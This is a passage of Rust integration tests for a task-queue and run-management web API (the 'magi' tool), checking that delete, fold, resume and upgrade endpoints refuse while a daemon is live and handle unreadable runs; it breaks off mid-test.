13005        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
13006        // never touched web.rs, so nothing here caught it if it had.
13007        let fx = Fixture::start().await;
13008        let q = fx.queue();
13009
13010        let mut t = Task::new(
13011            "Task".to_owned(),
13012            "Instruction".to_owned(),
13013            PathBuf::from("/repo"),
13014            Source::Human,
13015        );
13016        t.block(
13017            vec!["20260101-000000-dead".to_owned()],
13018            Some("waiting on Task 1".to_owned()),
13019        );
13020        t.answers.push(crate::queue::AnsweredQuestion {
13021            question: "Which backend?".to_owned(),
13022            answer: "SQLite".to_owned(),
13023        });
13024        q.put(&mut t).expect("put t");
13025
13026        let res = fx.get("/api/queue").await;
13027        assert_eq!(res.status, 200);
13028        let list = res.json();
13029        let view = list
13030            .as_array()
13031            .expect("array")
13032            .iter()
13033            .find(|v| v["id"] == t.id)
13034            .expect("task in list");
13035        assert_eq!(view["status_str"], "blocked");
13036        assert_eq!(
13037            view["blocked_by"],
13038            serde_json::json!(["20260101-000000-dead"])
13039        );
13040        assert_eq!(view["block_reason"], "waiting on Task 1");
13041        assert_eq!(view["answers"][0]["question"], "Which backend?");
13042        assert_eq!(view["answers"][0]["answer"], "SQLite");
13043
13044        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
13045        // but never `answers` - that is a settled decision, not state
13046        // describing the current block, so it survives.
13047        let res = fx
13048            .post(&format!("/api/queue/{}/hold", t.short()), None)
13049            .await;
13050        assert_eq!(res.status, 200);
13051        let held = res.json();
13052        assert_eq!(held["status_str"], "held");
13053        assert_eq!(held["blocked_by"], serde_json::json!([]));
13054        assert!(held["block_reason"].is_null());
13055        assert_eq!(held["answers"][0]["answer"], "SQLite");
13056    }
13057
13058    #[tokio::test]
13059    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13060        let fx = Fixture::start().await;
13061        let q = fx.queue();
13062        let mk = |title: &str| {
13063            Task::new(
13064                title.to_owned(),
13065                "Instruction".to_owned(),
13066                PathBuf::from("/repo"),
13067                Source::Human,
13068            )
13069        };
13070        let mut root = mk("root");
13071        root.hold_manual(Some("waiting".to_owned()));
13072        q.put(&mut root).unwrap();
13073        let mut mid = mk("mid");
13074        mid.block(vec![root.id.clone()], None);
13075        q.put(&mut mid).unwrap();
13076        let mut leaf = mk("leaf");
13077        leaf.block(vec![mid.id.clone()], None);
13078        q.put(&mut leaf).unwrap();
13079
13080        let list = fx.get("/api/queue").await.json();
13081        let find = |id: &str| {
13082            list.as_array()
13083                .unwrap()
13084                .iter()
13085                .find(|v| v["id"] == id)
13086                .unwrap()
13087                .clone()
13088        };
13089        let leaf_view = find(&leaf.id);
13090        assert_eq!(
13091            leaf_view["waits_on"],
13092            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13093        );
13094        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13095        assert_eq!(
13096            find(&mid.id)["waits_on"],
13097            serde_json::json!([format!("{} (held)", root.short())])
13098        );
13099        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13100    }
13101
13102    #[tokio::test]
13103    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13104        let fx = Fixture::start().await;
13105        let q = fx.queue();
13106
13107        // 1. A queued task with runs attached can be deleted.
13108        let mut t1 = Task::new(
13109            "Task 1".to_owned(),
13110            "Instruction 1".to_owned(),
13111            PathBuf::from("/repo"),
13112            Source::Human,
13113        );
13114        let run_id = "20260901-000000-r111";
13115        t1.runs.push(run_id.to_owned());
13116        write_run(&fx.runs(), run_id, RunStatus::Merged);
13117        q.put(&mut t1).expect("put t1");
13118
13119        // Delete by short id
13120        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13121        assert_eq!(res.status, 204);
13122        assert!(res.body.is_empty(), "204 No Content has no body");
13123        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13124        assert!(
13125            fx.runs().join(run_id).exists(),
13126            "run directory must not be deleted when its task is deleted"
13127        );
13128
13129        // 2. A task a live daemon is running is refused with 409.
13130        let mut t2 = Task::new(
13131            "Task 2".to_owned(),
13132            "Instruction 2".to_owned(),
13133            PathBuf::from("/repo"),
13134            Source::Human,
13135        );
13136        t2.status = TaskStatus::Running;
13137        q.put(&mut t2).expect("put t2");
13138        let mut beat = crate::daemon::Status::new();
13139        beat.current = vec![crate::daemon::Current {
13140            task: t2.id.clone(),
13141            run: "20260901-000000-r222".to_owned(),
13142        }];
13143        beat.updated_at = jiff::Timestamp::now();
13144        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13145            .expect("publish a heartbeat");
13146        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13147        assert_eq!(res.status, 409);
13148        assert!(
13149            res.json()["error"]
13150                .as_str()
13151                .unwrap()
13152                .contains("live daemon")
13153        );
13154        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13155
13156        // 3. The same `running` status and an orphaned lock, with no daemon
13157        // behind either, is a leftover and deletable. Before this the phone
13158        // refused it for good: the status never changes on its own and
13159        // nothing drops a lock whose process is gone.
13160        // The daemon is killed: the file stays, the heartbeat stops.
13161        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13162        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13163            .expect("leave a stale heartbeat");
13164        let mut t3 = Task::new(
13165            "Task 3".to_owned(),
13166            "Instruction 3".to_owned(),
13167            PathBuf::from("/repo"),
13168            Source::Human,
13169        );
13170        t3.status = TaskStatus::Running;
13171        q.put(&mut t3).expect("put t3");
13172        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13173        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13174        assert_eq!(res.status, 204);
13175        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13176        assert!(
13177            q.claim(&t3.id).is_ok(),
13178            "the stale lock went with it, so the id is claimable again"
13179        );
13180
13181        // 4. Missing id returns 404
13182        let res = fx.delete("/api/queue/nonexistent").await;
13183        assert_eq!(res.status, 404);
13184    }
13185
13186    #[tokio::test]
13187    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13188        let fx = Fixture::start().await;
13189        let runs = fx.runs();
13190
13191        // 1. Finished and folded run can be deleted along with artifacts
13192        let run_id = "20260901-000000-fold";
13193        let mut state = RunState::new(
13194            PathBuf::from("/repo"),
13195            "main".to_owned(),
13196            "abc".to_owned(),
13197            "instruction".to_owned(),
13198            Config::default(),
13199        );
13200        state.id = run_id.to_owned();
13201        state.status = RunStatus::Merged;
13202        state.candidates.push(crate::run::Candidate {
13203            index: 0,
13204            label: 'A',
13205            agent: "a".to_owned(),
13206            branch: "b".to_owned(),
13207            worktree: PathBuf::from("/w"),
13208            summary: String::new(),
13209            stat: String::new(),
13210            files: 1,
13211            commits: 1,
13212            empty: false,
13213            failed: None,
13214            verified_noop: None,
13215            duration_ms: 0,
13216            folded: true,
13217        });
13218        let dir = runs.join(run_id);
13219        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13220        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13221            .expect("write artifact");
13222        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13223            .expect("write run.json");
13224
13225        // Delete by short id
13226        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13227        assert_eq!(res.status, 204);
13228        assert!(res.body.is_empty(), "204 has no body");
13229        assert!(!dir.exists(), "run directory and artifacts must be deleted");
13230
13231        // 2. A run a live daemon is working on is refused with 409. The
13232        // heartbeat is what makes it refusable: an unfinished run with no
13233        // daemon behind it is a leftover from a killed process, and case 1
13234        // above would otherwise be impossible to tell apart from this one.
13235        let run_running = "20260901-000000-rung";
13236        write_run(&runs, run_running, RunStatus::Prep);
13237        let mut beat = crate::daemon::Status::new();
13238        beat.current = vec![crate::daemon::Current {
13239            task: "20260901-000000-task".to_owned(),
13240            run: run_running.to_owned(),
13241        }];
13242        beat.updated_at = jiff::Timestamp::now();
13243        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13244            .expect("publish a heartbeat");
13245        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13246        assert_eq!(res.status, 409);
13247        assert!(
13248            res.json()["error"]
13249                .as_str()
13250                .unwrap()
13251                .contains("live daemon"),
13252            "the refusal must say who is holding it"
13253        );
13254        assert!(
13255            runs.join(run_running).exists(),
13256            "a run in flight keeps its directory"
13257        );
13258
13259        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
13260        let run_unfolded = "20260901-000000-unfd";
13261        let mut state2 = RunState::new(
13262            PathBuf::from("/repo"),
13263            "main".to_owned(),
13264            "abc".to_owned(),
13265            "instruction".to_owned(),
13266            Config::default(),
13267        );
13268        state2.id = run_unfolded.to_owned();
13269        state2.status = RunStatus::Ready;
13270        state2.candidates.push(crate::run::Candidate {
13271            index: 0,
13272            label: 'A',
13273            agent: "a".to_owned(),
13274            branch: "b".to_owned(),
13275            worktree: PathBuf::from("/w"),
13276            summary: String::new(),
13277            stat: String::new(),
13278            files: 1,
13279            commits: 1,
13280            empty: false,
13281            failed: None,
13282            verified_noop: None,
13283            duration_ms: 0,
13284            folded: false,
13285        });
13286        let dir2 = runs.join(run_unfolded);
13287        std::fs::create_dir_all(&dir2).expect("create dir2");
13288        std::fs::write(
13289            dir2.join("run.json"),
13290            serde_json::to_string(&state2).unwrap(),
13291        )
13292        .expect("write run.json");
13293
13294        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13295        assert_eq!(res.status, 409);
13296        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13297        assert!(dir2.exists(), "unfolded run directory is kept");
13298
13299        // 4. Missing id returns 404
13300        let res = fx.delete("/api/runs/nonexistent").await;
13301        assert_eq!(res.status, 404);
13302    }
13303
13304    /// The queue tiles on the Stats tab must render even on a home with no
13305    /// runs at all: queue state is not derived from run history, so hiding
13306    /// the whole dashboard body behind "no runs yet" would drop the one
13307    /// thing this tab promises unconditionally (queued/running/held/done).
13308    /// A DOM-level test would need a browser this suite does not have, so
13309    /// this pins the same invariant textually: `renderStatsQueue` is called
13310    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
13311    /// block that gates the run-derived panels.
13312    #[test]
13313    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13314        let start = APP_JS
13315            .find("function renderStats() {")
13316            .expect("renderStats");
13317        let end = start
13318            + APP_JS[start..]
13319                .find("function statsTile(")
13320                .expect("the next top-level function");
13321        let body = &APP_JS[start..end];
13322
13323        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13324        let gate_end = gate_start
13325            + body[gate_start..]
13326                .find("}\n  renderStatsQueue")
13327                .expect("the gate's own closing brace, right before the unconditional call");
13328        let gated = &body[gate_start..gate_end];
13329
13330        assert_eq!(
13331            body.matches("renderStatsQueue(").count(),
13332            1,
13333            "renderStats must call renderStatsQueue exactly once: {body}"
13334        );
13335        assert!(
13336            !gated.contains("renderStatsQueue"),
13337            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13338             run-derived panels on an empty run history - the queue panel has to render \
13339             regardless: {gated}"
13340        );
13341    }
13342
13343    #[test]
13344    fn web_ui_delete_contract_in_front_end() {
13345        // 1. API block has both delete endpoints
13346        assert!(APP_JS.contains("deleteRun:"));
13347        assert!(APP_JS.contains("deleteTask:"));
13348
13349        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
13350        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13351            ..APP_JS.find("function renderRuns").unwrap()];
13352        assert!(!run_cards_slice.to_lowercase().contains("delete"));
13353
13354        // 3. Run detail has delete entry and reasons
13355        assert!(APP_JS.contains("renderRunDelete"));
13356        assert!(APP_JS.contains("runDeleteReason"));
13357        assert!(APP_JS.contains("magi fold"));
13358        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13359
13360        // 4. Two-step delete arming and focus on Cancel
13361        assert!(APP_JS.contains("cancel.focus"));
13362        assert!(APP_JS.contains("armedRunDelete"));
13363        assert!(APP_JS.contains("renderTaskDeleteBox"));
13364        assert!(APP_JS.contains("armed${cap(key)}"));
13365
13366        // 5. Running task has disabled delete
13367        assert!(APP_JS.contains("disabled: status === \"running\""));
13368    }
13369
13370    /// Every element a run card's updater reaches for must be in the `refs`
13371    /// the builder handed it.
13372    ///
13373    /// `createRunCard` builds its elements, appends them to the card, and then
13374    /// lists them again in `row.refs`. That second list is the one the updater
13375    /// uses, and nothing connects the two - an element can be built, appended
13376    /// and rendered, and still be missing from `refs`. `superseded` was, for
13377    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
13378    /// exception took `syncList` with it, and the deck showed
13379    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
13380    /// line is computed before the cards, which is why the failure looked like
13381    /// a server that had lost its runs rather than a front end that had
13382    /// stopped rendering them.
13383    ///
13384    /// A `cargo test` cannot execute the front end, so this reads the two
13385    /// halves out of the source and compares them as sets. It is not a check
13386    /// on the wording of either list: adding an element, renaming one, or
13387    /// reordering them all keeps this passing, and only using one the builder
13388    /// never published fails it.
13389    #[test]
13390    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13391        let build = APP_JS
13392            .find("function createRunCard")
13393            .expect("createRunCard exists");
13394        let update = APP_JS
13395            .find("function updateRunCard")
13396            .expect("updateRunCard exists");
13397        let end = APP_JS
13398            .find("function renderRuns")
13399            .expect("renderRuns exists");
13400
13401        // The builder's published set: the object literal assigned to `refs`.
13402        let builder = &APP_JS[build..update];
13403        let open = builder.find("refs = {").expect("createRunCard sets refs");
13404        let literal = &builder[open + "refs = {".len()..];
13405        let close = literal.find('}').expect("the refs literal is closed");
13406        let published: HashSet<&str> = literal[..close]
13407            .split(',')
13408            // `name` and `name: value` both bind `name`.
13409            .filter_map(|entry| entry.split(':').next())
13410            .map(str::trim)
13411            .filter(|name| !name.is_empty())
13412            .collect();
13413        assert!(
13414            published.len() > 5,
13415            "the refs literal did not parse into names: {published:?}"
13416        );
13417
13418        // What the updaters reach for: every `r.<name>`, where `r` is the
13419        // `const r = row.refs` alias both functions open with.
13420        let mut used: Vec<&str> = Vec::new();
13421        let updaters = &APP_JS[update..end];
13422        for (at, _) in updaters.match_indices("r.") {
13423            // `r` must be the whole identifier, not the tail of another one
13424            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
13425            let before = updaters[..at].chars().next_back();
13426            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13427                continue;
13428            }
13429            let rest = &updaters[at + 2..];
13430            let len = rest
13431                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13432                .unwrap_or(rest.len());
13433            if len > 0 {
13434                used.push(&rest[..len]);
13435            }
13436        }
13437        assert!(
13438            used.len() > 5,
13439            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13440        );
13441
13442        let missing: Vec<&str> = used
13443            .iter()
13444            .copied()
13445            .filter(|name| !published.contains(name))
13446            .collect();
13447        assert!(
13448            missing.is_empty(),
13449            "a run card's updater reaches for {missing:?}, which `createRunCard` \
13450             never put in `refs` - every card will throw and the list will \
13451             render empty under a count line that says otherwise. Published: \
13452             {published:?}"
13453        );
13454    }
13455
13456    #[tokio::test]
13457    async fn folding_from_the_phone_reports_what_it_removed() {
13458        let fx = Fixture::start().await;
13459        let runs = fx.runs();
13460
13461        // A run with no candidates has nothing to fold, which is a 200 with an
13462        // honest count rather than an error: the operator asked for the trees
13463        // to be gone and they are.
13464        let id = "20260901-000000-fold";
13465        write_run(&runs, id, RunStatus::Stalled);
13466        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13467        assert_eq!(res.status, 200);
13468        assert_eq!(res.json()["removed_count"], 0);
13469        assert_eq!(res.json()["run"], id);
13470        assert!(
13471            runs.join(id).exists(),
13472            "a fold keeps the run's record; only the worktrees go"
13473        );
13474    }
13475
13476    #[tokio::test]
13477    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13478        let fx = Fixture::start().await;
13479        let runs = fx.runs();
13480        let wt = fx.home.path().join("wt").join("magi").join("dead");
13481        let id = "20260901-000000-dead";
13482        std::fs::create_dir_all(runs.join(id)).expect("run dir");
13483        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13484        std::fs::create_dir_all(&wt).expect("worktree dir");
13485
13486        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13487        assert_eq!(res.status, 200, "{}", res.body);
13488        assert!(
13489            res.json()["removed_count"].as_u64().unwrap() > 0,
13490            "the worktree this build could not read a state for still went"
13491        );
13492        assert!(
13493            !runs.join(id).exists(),
13494            "an unreadable run has no candidate list to fold selectively, so \
13495             the whole record goes - same as `magi fold` on the CLI"
13496        );
13497    }
13498
13499    #[tokio::test]
13500    async fn deleting_an_unreadable_run_removes_it_wholesale() {
13501        let fx = Fixture::start().await;
13502        let runs = fx.runs();
13503        let wt = fx.home.path().join("wt").join("magi").join("gone");
13504        let id = "20260901-000000-gone";
13505        std::fs::create_dir_all(runs.join(id)).expect("run dir");
13506        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13507        std::fs::create_dir_all(&wt).expect("worktree dir");
13508
13509        let res = fx.delete(&format!("/api/runs/{id}")).await;
13510        assert_eq!(res.status, 204, "{}", res.body);
13511        assert!(!runs.join(id).exists(), "the broken record is gone");
13512        assert!(!wt.exists(), "its worktree is gone too");
13513    }
13514
13515    #[tokio::test]
13516    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13517        let fx = Fixture::start().await;
13518        let runs = fx.runs();
13519        let id = "20260901-000000-live";
13520        write_run(&runs, id, RunStatus::Implementing);
13521
13522        let mut beat = crate::daemon::Status::new();
13523        beat.current = vec![crate::daemon::Current {
13524            task: "20260901-000000-task".to_owned(),
13525            run: id.to_owned(),
13526        }];
13527        beat.updated_at = jiff::Timestamp::now();
13528        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13529            .expect("publish a heartbeat");
13530
13531        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13532        assert_eq!(res.status, 409);
13533        assert!(
13534            res.json()["error"]
13535                .as_str()
13536                .unwrap()
13537                .contains("live daemon"),
13538            "folding under a running agent would pull its worktree away"
13539        );
13540    }
13541
13542    #[tokio::test]
13543    async fn fold_merged_requires_a_pr_url() {
13544        let fx = Fixture::start().await;
13545        let runs = fx.runs();
13546        let id = "20260901-000000-nourl";
13547        write_run(&runs, id, RunStatus::Blocked);
13548
13549        let res = fx
13550            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13551            .await;
13552        assert_eq!(res.status, 400, "{}", res.body);
13553
13554        let blank = fx
13555            .post(
13556                &format!("/api/runs/{id}/fold-merged"),
13557                Some(r#"{"pr_url":"   "}"#),
13558            )
13559            .await;
13560        assert_eq!(blank.status, 400, "{}", blank.body);
13561    }
13562
13563    #[tokio::test]
13564    async fn fold_merged_is_404_for_an_unknown_run() {
13565        let fx = Fixture::start().await;
13566        let res = fx
13567            .post(
13568                "/api/runs/nosuchrun/fold-merged",
13569                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13570            )
13571            .await;
13572        assert_eq!(res.status, 404, "{}", res.body);
13573    }
13574
13575    #[tokio::test]
13576    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13577        let fx = Fixture::start().await;
13578        let runs = fx.runs();
13579        let id = "20260901-000000-livemerge";
13580        write_run(&runs, id, RunStatus::Blocked);
13581
13582        let mut beat = crate::daemon::Status::new();
13583        beat.current = vec![crate::daemon::Current {
13584            task: "20260901-000000-task".to_owned(),
13585            run: id.to_owned(),
13586        }];
13587        beat.updated_at = jiff::Timestamp::now();
13588        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13589            .expect("publish a heartbeat");
13590
13591        let res = fx
13592            .post(
13593                &format!("/api/runs/{id}/fold-merged"),
13594                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13595            )
13596            .await;
13597        assert_eq!(res.status, 409, "{}", res.body);
13598        assert!(
13599            res.json()["error"]
13600                .as_str()
13601                .unwrap()
13602                .contains("live daemon"),
13603            "correcting a run's merge underneath a running agent would race \
13604             whatever it is doing to the same `status`/`merge` fields"
13605        );
13606    }
13607
13608    /// A pull request `gh` cannot even ask about (no such remote, no such
13609    /// repository) must never be recorded as a merge on a guess - the same
13610    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
13611    /// command line, reached here through the phone route instead.
13612    #[tokio::test]
13613    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13614        let fx = Fixture::start().await;
13615        let runs = fx.runs();
13616        let id = "20260901-000000-unconfirmed";
13617        write_run(&runs, id, RunStatus::Blocked);
13618
13619        let res = fx
13620            .post(
13621                &format!("/api/runs/{id}/fold-merged"),
13622                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13623            )
13624            .await;
13625        assert_eq!(res.status, 400, "{}", res.body);
13626        assert_eq!(
13627            read_run(&runs, id).unwrap().status,
13628            RunStatus::Blocked,
13629            "a pull request that could not be confirmed merged must leave \
13630             the run exactly where it was"
13631        );
13632    }
13633
13634    #[tokio::test]
13635    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13636        let fx = Fixture::start().await;
13637        let runs = fx.runs();
13638
13639        // Only a finished run and a failed one. An *interrupted* run - a
13640        // parked one, or one whose daemon was killed mid-node - is the case
13641        // resuming exists for: run 4043 sat at `reviewing` with the deck
13642        // saying it could not be resumed, which was the one state where
13643        // resuming was the only sensible answer.
13644        for (status, word) in [
13645            (RunStatus::Merged, "merged"),
13646            (RunStatus::Ready, "ready"),
13647            (RunStatus::Failed, "failed"),
13648        ] {
13649            let id = format!("20260901-000000-{}", &word[..4]);
13650            write_run(&runs, &id, status);
13651            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13652            assert_eq!(res.status, 409, "{word} must not be resumable");
13653            let err = res.json()["error"].as_str().unwrap().to_owned();
13654            assert!(err.contains(word), "the refusal names the status: {err}");
13655        }
13656
13657        // And an interrupted run is accepted: 202, with the resume running in
13658        // the background. `Runner::resume` fails immediately here - the
13659        // fixture's run points at a repository that does not exist - which is
13660        // the point: the handler must not wait for it to find out.
13661        let mid = "20260901-000000-midf";
13662        write_run(&runs, mid, RunStatus::Reviewing);
13663        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13664        assert_eq!(res.status, 202, "an interrupted run is resumable");
13665    }
13666
13667    #[tokio::test]
13668    async fn resume_is_refused_while_the_loop_is_running() {
13669        let fx = Fixture::start().await;
13670        let runs = fx.runs();
13671        let stalled = "20260901-000000-stal";
13672        write_run(&runs, stalled, RunStatus::Stalled);
13673
13674        // The loop is busy with a *different* run, and that is still a
13675        // refusal: a manual resume must never race whatever the loop itself
13676        // is already driving, whether that is one run or several.
13677        let mut beat = crate::daemon::Status::new();
13678        beat.current = vec![crate::daemon::Current {
13679            task: "20260901-000000-task".to_owned(),
13680            run: "20260901-000000-othr".to_owned(),
13681        }];
13682        beat.updated_at = jiff::Timestamp::now();
13683        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13684            .expect("publish a heartbeat");
13685
13686        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13687        assert_eq!(res.status, 409);
13688        let err = res.json()["error"].as_str().unwrap().to_owned();
13689        assert!(err.contains("othr"), "it names what the loop is on: {err}");
13690        assert!(err.contains("stop it first"), "{err}");
13691    }
13692
13693    #[test]
13694    fn a_run_cannot_be_resumed_twice_at_once() {
13695        let home = TempDir::new().expect("temp home");
13696        let ui = Ui::new(
13697            Queue::at(home.path().join("queue")),
13698            Questions::at(home.path().join("questions")),
13699            Talks::at(home.path().join("talks")),
13700            home.path().join("runs"),
13701            home.path().to_path_buf(),
13702            PathBuf::from("/repo"),
13703        )
13704        .with_worktrees_root(home.path().join("wt"));
13705        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13706        let again = ui.begin_resume("20260901-000000-once");
13707        assert!(again.is_err(), "a second tap must not start a second graph");
13708        drop(first);
13709        assert!(
13710            ui.begin_resume("20260901-000000-once").is_ok(),
13711            "and the claim is released when the attempt ends"
13712        );
13713    }
13714
13715    #[test]
13716    fn talk_thinking_tracks_only_its_held_turn_claim() {
13717        let home = TempDir::new().expect("temp home");
13718        let ui = Ui::new(
13719            Queue::at(home.path().join("queue")),
13720            Questions::at(home.path().join("questions")),
13721            Talks::at(home.path().join("talks")),
13722            home.path().join("runs"),
13723            home.path().to_path_buf(),
13724            PathBuf::from("/repo"),
13725        )
13726        .with_worktrees_root(home.path().join("wt"));
13727        let id = "20260901-000000-once";
13728
13729        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13730        let turn = ui.begin_talk_turn(id).expect("claim turn");
13731        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13732        assert!(
13733            !ui.is_thinking("20260901-000000-other"),
13734            "one talk's turn does not make another talk busy"
13735        );
13736        drop(turn);
13737        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13738    }
13739
13740    #[tokio::test]
13741    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13742        let fx = Fixture::start().await;
13743        // Somebody else's `magi serve` owns the queue. Replacing this binary
13744        // would leave that process running an old one against the same
13745        // claims, which is worse than refusing.
13746        let mut beat = crate::daemon::Status::new();
13747        beat.pid = 4321;
13748        beat.updated_at = jiff::Timestamp::now();
13749        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13750            .expect("publish a heartbeat");
13751
13752        let res = fx.post("/api/upgrade", None).await;
13753        assert_eq!(res.status, 409);
13754        let err = res.json()["error"].as_str().unwrap().to_owned();
13755        assert!(err.contains("4321"), "the refusal names the owner: {err}");
13756        assert!(err.contains("old one against the same queue"), "{err}");
13757    }
13758
13759    /// [`should_spawn_recheck`] must refuse for the same two reasons
13760    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
13761    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
13762    /// Purely a predicate over config and the environment - no network, no
13763    /// disk, no runtime - so unlike the fixture-based tests around it this
13764    /// one needs neither.
13765    #[test]
13766    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13767        assert!(!should_spawn_recheck(&crate::config::Update {
13768            mode: UpdateMode::Off,
13769            interval: None,
13770        }));
13771
13772        // SAFETY: single-threaded as far as this variable goes, the same
13773        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13774        unsafe {
13775            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13776        }
13777        let killed = should_spawn_recheck(&crate::config::Update {
13778            mode: UpdateMode::Notify,
13779            interval: None,
13780        });
13781        unsafe {
13782            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13783        }
13784        assert!(
13785            !killed,
13786            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13787             one-time startup check"
13788        );
13789
13790        assert!(should_spawn_recheck(&crate::config::Update {
13791            mode: UpdateMode::Notify,
13792            interval: None,
13793        }));
13794    }
13795
13796    /// [`recheck_poll_period`] must track a configured `[update] interval`
13797    /// shorter than its own default ceiling - a fixed sleep here would leave
13798    /// an operator's short interval waiting on the next wake-up instead of on
13799    /// `should_check`, which is the same bug this whole task exists to fix,
13800    /// just one level down.
13801    #[test]
13802    fn recheck_poll_period_tracks_a_short_configured_interval() {
13803        let short = crate::config::Update {
13804            mode: UpdateMode::Notify,
13805            interval: Some("1m".to_owned()),
13806        };
13807        let period = recheck_poll_period(&short);
13808        assert!(
13809            period <= Duration::from_secs(30),
13810            "a one-minute interval must wake the task far sooner than the \
13811             default ceiling, or the deck would not notice within the \
13812             interval the operator configured: got {period:?}"
13813        );
13814
13815        let default = crate::config::Update {
13816            mode: UpdateMode::Notify,
13817            interval: None,
13818        };
13819        assert_eq!(
13820            recheck_poll_period(&default),
13821            UPDATE_RECHECK_POLL_MAX,
13822            "the default day-long interval should poll at the (capped) \
13823             ceiling rather than needlessly often"
13824        );
13825    }
13826
13827    /// [`update_recheck_due`] must not repeat a check made moments ago, the
13828    /// same throttle `updater::Checker::should_check` already gives the
13829    /// CLI's notify mode. Built over an explicit state file via
13830    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
13831    /// write the operator's real `last_update_check.json` - and therefore
13832    /// cannot flake on whatever that file happens to say on the machine
13833    /// running the test.
13834    #[test]
13835    fn recheck_skips_the_network_before_the_interval_elapses() {
13836        let dir = TempDir::new().expect("temp dir");
13837        let path = dir.path().join("state.json");
13838        let state = kaishin::UpdateCheckState {
13839            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13840            last_known_latest: None,
13841            last_known_url: None,
13842        };
13843        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13844
13845        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13846        assert!(
13847            !update_recheck_due(&checker, None),
13848            "a check made moments ago must not be repeated before the \
13849             configured interval elapses"
13850        );
13851    }
13852
13853    /// An upgrade this deck already started must not be raced by a recheck
13854    /// that discovers a newer release mid-install - regardless of what
13855    /// `should_check` says, which is why the state file here is missing
13856    /// entirely: read alone, that alone would answer "never checked, go
13857    /// ahead".
13858    #[test]
13859    fn recheck_defers_to_an_upgrade_already_in_flight() {
13860        let dir = TempDir::new().expect("temp dir");
13861        let path = dir.path().join("state.json");
13862        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13863        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13864
